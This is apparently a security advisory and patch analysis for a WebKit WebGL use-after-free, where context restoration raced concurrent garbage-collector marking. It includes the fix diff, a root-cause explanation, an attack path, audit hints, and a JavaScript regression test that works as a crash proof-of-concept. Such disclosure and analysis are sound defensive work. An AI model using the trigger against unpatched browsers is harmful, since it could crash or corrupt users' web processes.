Released June 29, 2026

CVE-2026-43742

CVSS 6.5 severity medium CWE-416 vector CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H

Overview

Impact:

Description: Processing maliciously crafted web content may lead to an unexpected process crash

Researchers: Юлия Мерцалова

Key insight. WebGL context restoration reinitialized GC-visible context state without holding objectGraphLock(), racing the concurrent GC marker into a use-after-free; taking the lock (and enforcing it via annotations) serializes restore against marking.

Patch Details

diff --git a/LayoutTests/fast/canvas/webgl/context-restore-concurrent-gc-no-crash-expected.txt b/LayoutTests/fast/canvas/webgl/context-restore-concurrent-gc-no-crash-expected.txt
new file mode 100644
index 000000000000..c2541f4f3dd7
--- /dev/null
+++ b/LayoutTests/fast/canvas/webgl/context-restore-concurrent-gc-no-crash-expected.txt
@@ -0,0 +1 @@
+PASS if no crash.
diff --git a/LayoutTests/fast/canvas/webgl/context-restore-concurrent-gc-no-crash.html b/LayoutTests/fast/canvas/webgl/context-restore-concurrent-gc-no-crash.html
new file mode 100644
index 000000000000..a62c55af8994
--- /dev/null
+++ b/LayoutTests/fast/canvas/webgl/context-restore-concurrent-gc-no-crash.html
@@ -0,0 +1,66 @@
+<!DOCTYPE html>
+<html>
+<body>
+<!-- Exercises a race between WebGL2 context restoration (which reinitializes
+     bound-object state via initializeNewContext) and concurrent GC marking (which
+     traverses that state via addMembersToOpaqueRoots). Without objectGraphLock()
+     held during restoration, the restore path can free objects the GC marker is
+     still reading, causing a use-after-free. -->
+<script>
+if (window.testRunner) {
+    testRunner.dumpAsText();
+    testRunner.waitUntilDone();
+}
+if (window.internals)
+    internals.settings.setWebGLErrorsToConsoleEnabled(false);
+
+const tick = () => new Promise(r => setTimeout(r, 0));
+
+// Ensure the GC marker doesn't reach the WebGL wrapper until the concurrent phase.
+const heapPaddingSize = 300000;
+const heapPadding = new Array(heapPaddingSize);
+for (let i = 0; i < heapPaddingSize; i++)
+    heapPadding[i] = { a: i, b: { c: i } };
+
+async function loseAndRestoreContext() {
+    const canvas = document.body.appendChild(document.createElement('canvas'));
+    canvas.width = 1;
+    canvas.height = 1;
+    const gl = canvas.getContext('webgl2');
+    const ext = gl.getExtension('WEBGL_lose_context');
+    for (let i = 0; i < heapPaddingSize; i += 4096)
+        heapPadding[i].g = gl;
+
+    const contextLost = new Promise(r => {
+        canvas.addEventListener('webglcontextlost', e => { e.preventDefault(); r(); });
+    });
+    const contextRestored = new Promise(r => {
+        canvas.addEventListener('webglcontextrestored', () => r());
+    });
+
+    ext.loseContext();
+    await contextLost;
+    await tick();
+
+    // Trigger GC so its concurrent marking phase overlaps the restore timer.
+    new WebAssembly.Memory({ initial: 1024 });
+    new WebAssembly.Memory({ initial: 1024 });
+    ext.restoreContext();
+    await tick();
+    await tick();
+    await contextRestored;
+
+    canvas.remove();
+}
+
+async function runTest() {
+    for (let i = 0; i < 50; i++)
+        await loseAndRestoreContext();
+    document.body.textContent = 'PASS if no crash.';
+    if (window.testRunner)
+        testRunner.notifyDone();
+}
+runTest();
+</script>
+</body>
+</html>
diff --git a/Source/WebCore/html/canvas/WebGL2RenderingContext.h b/Source/WebCore/html/canvas/WebGL2RenderingContext.h
index dcf736d39056..b691cd7a4c8b 100644
--- a/Source/WebCore/html/canvas/WebGL2RenderingContext.h
+++ b/Source/WebCore/html/canvas/WebGL2RenderingContext.h
@@ -261,7 +261,7 @@ class WebGL2RenderingContext final : public WebGLRenderingContextBase {
 
 private:
     using WebGLRenderingContextBase::WebGLRenderingContextBase;
-    void initializeContextState() final;
+    void initializeContextState() WTF_REQUIRES_LOCK(objectGraphLock()) final;
 
     RefPtr<ArrayBufferView> arrayBufferViewSliceFactory(ASCIILiteral functionName, const ArrayBufferView& data, unsigned startByte, unsigned bytelength);
     RefPtr<ArrayBufferView> sliceArrayBufferView(ASCIILiteral functionName, const ArrayBufferView& data, GCGLuint srcOffset, GCGLuint length);
@@ -269,7 +269,7 @@ class WebGL2RenderingContext final : public WebGLRenderingContextBase {
     long long getInt64Parameter(GCGLenum) final;
     Vector<bool> getIndexedBooleanArrayParameter(GCGLenum pname, GCGLuint index);
 
-    void initializeDefaultObjects() final;
+    void initializeDefaultObjects() WTF_REQUIRES_LOCK(objectGraphLock()) final;
     void detachAndRemoveAllObjects() WTF_REQUIRES_LOCK(objectGraphLock()) final;
     bool validateBufferTarget(ASCIILiteral functionName, GCGLenum target) final;
     bool validateBufferTargetCompatibility(ASCIILiteral, GCGLenum, WebGLBuffer*);
diff --git a/Source/WebCore/html/canvas/WebGLRenderingContext.h b/Source/WebCore/html/canvas/WebGLRenderingContext.h
index 7404a87eb9a4..a9b2f1b3e9de 100644
--- a/Source/WebCore/html/canvas/WebGLRenderingContext.h
+++ b/Source/WebCore/html/canvas/WebGLRenderingContext.h
@@ -60,7 +60,7 @@ class WebGLRenderingContext final : public WebGLRenderingContextBase {
 
 private:
     using WebGLRenderingContextBase::WebGLRenderingContextBase;
-    void initializeDefaultObjects() final;
+    void initializeDefaultObjects() WTF_REQUIRES_LOCK(objectGraphLock()) final;
     void detachAndRemoveAllObjects() WTF_REQUIRES_LOCK(objectGraphLock()) final;
 };
 
diff --git a/Source/WebCore/html/canvas/WebGLRenderingContextBase.cpp b/Source/WebCore/html/canvas/WebGLRenderingContextBase.cpp
index f128a2833781..2216b3ef9011 100644
--- a/Source/WebCore/html/canvas/WebGLRenderingContextBase.cpp
+++ b/Source/WebCore/html/canvas/WebGLRenderingContextBase.cpp
@@ -524,8 +524,11 @@ void WebGLRenderingContextBase::initializeNewContext(Ref<GraphicsContextGL> cont
     updateActiveOrdinal();
     if (!wasActive)
         addActiveContext(*this);
-    initializeContextState();
-    initializeDefaultObjects();
+    {
+        Locker locker { objectGraphLock() };
+        initializeContextState();
+        initializeDefaultObjects();
+    }
     // Next calls will receive the context lost callback.
     m_context->setClient(this);
 }
diff --git a/Source/WebCore/html/canvas/WebGLRenderingContextBase.h b/Source/WebCore/html/canvas/WebGLRenderingContextBase.h
index 57fc93560676..9313e4ff0bca 100644
--- a/Source/WebCore/html/canvas/WebGLRenderingContextBase.h
+++ b/Source/WebCore/html/canvas/WebGLRenderingContextBase.h
@@ -538,8 +538,8 @@ class WebGLRenderingContextBase : public GraphicsContextGL::Client, public GPUBa
     friend class ScopedWebGLRestoreTexture;
 
     void initializeNewContext(Ref<GraphicsContextGL>);
-    virtual void initializeContextState();
-    virtual void initializeDefaultObjects();
+    virtual void initializeContextState() WTF_REQUIRES_LOCK(objectGraphLock());
+    virtual void initializeDefaultObjects() WTF_REQUIRES_LOCK(objectGraphLock());
     virtual void detachAndRemoveAllObjects() WTF_REQUIRES_LOCK(objectGraphLock());
 
     // ActiveDOMObject

Background

Advisory: Apple Security Advisory

Attribute Value
CVE CVE-2026-43742
Bugzilla 315161
Component WebCore
Bug Class UAF
Severity medium
Commit 034f2fbd9b69edba…
Advisory Apple Advisory

Terminology

  • objectGraphLock() — The lock serializing mutations of a WebGL context’s object graph against the concurrent GC marker.
  • Concurrent GC marking — JSC marks live objects on a background thread; for WebGL it walks bound objects via addMembersToOpaqueRoots.
  • WebGL context loss/restoration — A context can be lost and later restored, which reinitializes default bound objects via initializeNewContext.
  • WTF_REQUIRES_LOCK — A Clang thread-safety annotation that makes the compiler require a given lock be held when calling a function.

Root Cause Analysis

WebGL rendering-context state that participates in the GC object graph is protected by objectGraphLock(); the concurrent GC marker traverses a context’s bound objects (via addMembersToOpaqueRoots) while holding that lock. During WebGL context restoration, WebGLRenderingContextBase::initializeNewContext re-initializes that state by calling initializeContextState() and initializeDefaultObjects() — which reset and recreate bound default objects — but it did so WITHOUT holding objectGraphLock(). That is a data race: restoration can free and replace objects that the GC marker is concurrently reading, a use-after-free. The fix wraps both calls in Locker locker { objectGraphLock() }; inside initializeNewContext and annotates the virtual initializeContextState()/initializeDefaultObjects() overrides (WebGLRenderingContext, WebGL2RenderingContext, and the base) with WTF_REQUIRES_LOCK(objectGraphLock()), so the compiler enforces that they only run under the lock. The restored invariant is that any mutation of the WebGL object graph — including the reinitialization performed on context restore — is serialized against concurrent GC marking by objectGraphLock(). The added layout test loses and restores a WebGL2 context while forcing concurrent GC marking to overlap the restore, which crashed under ASan pre-patch.

Attack Path

1. Create a WebGL2 context

Allocate a canvas and get a webgl2 context so bound default objects exist in the GC object graph.

2. Lose the context

Use WEBGL_lose_context.loseContext() to drop the context and schedule a restore.

3. Overlap restore with GC marking

Trigger GC (e.g. allocate WebAssembly.Memory / heap padding) so its concurrent marking phase runs while restoreContext() reinitializes context state without the lock.

4. Use-after-free

Restoration frees/recreates objects the GC marker is still reading, corrupting memory in the WebContent process.

Impact Assessment

A use-after-free from a data race between WebGL context restoration and concurrent GC marking, in the WebContent process. The attacker drives both sides from script (lose/restore plus GC pressure), making the race reachably triggerable; the observed effect is an ASan-detected UAF/crash, with escalation to corruption possible given control over what reclaims the freed objects. Confined to WebContent (WebGL objects, though GPU-backed). Rated medium.

Audit Directions

Other unlocked object-graph mutations

grep WebGLRenderingContext for methods that add/remove/reset bound objects (addContextObject, detachAndRemoveAllObjects, initialize*) called without a Locker{objectGraphLock()}.

Restore/reset paths

Audit context-loss/restore and reset flows for state teardown/rebuild that must be serialized against GC marking.

Missing REQUIRES_LOCK annotations

Find object-graph-touching virtuals lacking WTF_REQUIRES_LOCK(objectGraphLock()); the annotation would surface other unlocked callers.

Changed Functions

Function File Change Note
WebGLRenderingContextBase::initializeNewContext Source/WebCore/html/canvas/WebGLRenderingContextBase.cpp modified Now takes Locker { objectGraphLock() } around initializeContextState() and initializeDefaultObjects() so restoration is serialized against concurrent GC marking.
initializeContextState / initializeDefaultObjects (declarations) Source/WebCore/html/canvas/WebGLRenderingContextBase.h modified Marked WTF_REQUIRES_LOCK(objectGraphLock()); mirrored on WebGLRenderingContext.h and WebGL2RenderingContext.h overrides to enforce the lock at compile time.

Files Changed

Source Files

  • Source/WebCore/html/canvas/WebGL2RenderingContext.h
  • Source/WebCore/html/canvas/WebGLRenderingContext.h
  • Source/WebCore/html/canvas/WebGLRenderingContextBase.cpp
  • Source/WebCore/html/canvas/WebGLRenderingContextBase.h

Test Files

  • LayoutTests/fast/canvas/webgl/context-restore-concurrent-gc-no-crash-expected.txt
  • LayoutTests/fast/canvas/webgl/context-restore-concurrent-gc-no-crash.html

Regression Test

The fix ships this proof-of-concept / regression test:

diff --git a/LayoutTests/fast/canvas/webgl/context-restore-concurrent-gc-no-crash-expected.txt b/LayoutTests/fast/canvas/webgl/context-restore-concurrent-gc-no-crash-expected.txt
new file mode 100644
index 000000000000..c2541f4f3dd7
--- /dev/null
+++ b/LayoutTests/fast/canvas/webgl/context-restore-concurrent-gc-no-crash-expected.txt
@@ -0,0 +1 @@
+PASS if no crash.
diff --git a/LayoutTests/fast/canvas/webgl/context-restore-concurrent-gc-no-crash.html b/LayoutTests/fast/canvas/webgl/context-restore-concurrent-gc-no-crash.html
new file mode 100644
index 000000000000..a62c55af8994
--- /dev/null
+++ b/LayoutTests/fast/canvas/webgl/context-restore-concurrent-gc-no-crash.html
@@ -0,0 +1,66 @@
+<!DOCTYPE html>
+<html>
+<body>
+<!-- Exercises a race between WebGL2 context restoration (which reinitializes
+     bound-object state via initializeNewContext) and concurrent GC marking (which
+     traverses that state via addMembersToOpaqueRoots). Without objectGraphLock()
+     held during restoration, the restore path can free objects the GC marker is
+     still reading, causing a use-after-free. -->
+<script>
+if (window.testRunner) {
+    testRunner.dumpAsText();
+    testRunner.waitUntilDone();
+}
+if (window.internals)
+    internals.settings.setWebGLErrorsToConsoleEnabled(false);
+
+const tick = () => new Promise(r => setTimeout(r, 0));
+
+// Ensure the GC marker doesn't reach the WebGL wrapper until the concurrent phase.
+const heapPaddingSize = 300000;
+const heapPadding = new Array(heapPaddingSize);
+for (let i = 0; i < heapPaddingSize; i++)
+    heapPadding[i] = { a: i, b: { c: i } };
+
+async function loseAndRestoreContext() {
+    const canvas = document.body.appendChild(document.createElement('canvas'));
+    canvas.width = 1;
+    canvas.height = 1;
+    const gl = canvas.getContext('webgl2');
+    const ext = gl.getExtension('WEBGL_lose_context');
+    for (let i = 0; i < heapPaddingSize; i += 4096)
+        heapPadding[i].g = gl;
+
+    const contextLost = new Promise(r => {
+        canvas.addEventListener('webglcontextlost', e => { e.preventDefault(); r(); });
+    });
+    const contextRestored = new Promise(r => {
+        canvas.addEventListener('webglcontextrestored', () => r());
+    });
+
+    ext.loseContext();
+    await contextLost;
+    await tick();
+
+    // Trigger GC so its concurrent marking phase overlaps the restore timer.
+    new WebAssembly.Memory({ initial: 1024 });
+    new WebAssembly.Memory({ initial: 1024 });
+    ext.restoreContext();
+    await tick();
+    await tick();
+    await contextRestored;
+
+    canvas.remove();
+}
+
+async function runTest() {
+    for (let i = 0; i < 50; i++)
+        await loseAndRestoreContext();
+    document.body.textContent = 'PASS if no crash.';
+    if (window.testRunner)
+        testRunner.notifyDone();
+}
+runTest();
+</script>
+</body>
+</html>